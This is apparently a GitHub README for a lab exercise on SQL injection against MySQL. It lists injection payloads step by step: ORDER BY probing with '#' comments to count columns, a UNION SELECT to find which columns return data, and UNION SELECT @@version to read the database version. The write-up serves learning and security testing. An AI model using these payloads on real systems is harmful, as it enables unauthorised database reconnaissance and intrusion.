Skip to content

shahdat-sajib/SQL-injection-attack-querying-the-database-type-and-version-on-MySQL-and-Microsoft

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 

Repository files navigation

SQL-injection-attack-querying-the-database-type-and-version-on-MySQL-and-Microsoft

(1) To findout existing column: 'ORDER BY 1--. But got internal server error. because in mysql database the comment method is comment# instead of comment--

image

(2) After giving the query for mysql database: 'ORDER BY 1#. Here, we got the 2 columns are available.

image image

(3) To findout which column are data retrieving: 'UNION SELECT 'Data','Data'#. Both two columns are retrieving data

image

(4) To know the version of mysql database: 'UNION SELECT @@version, NULL#

image

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published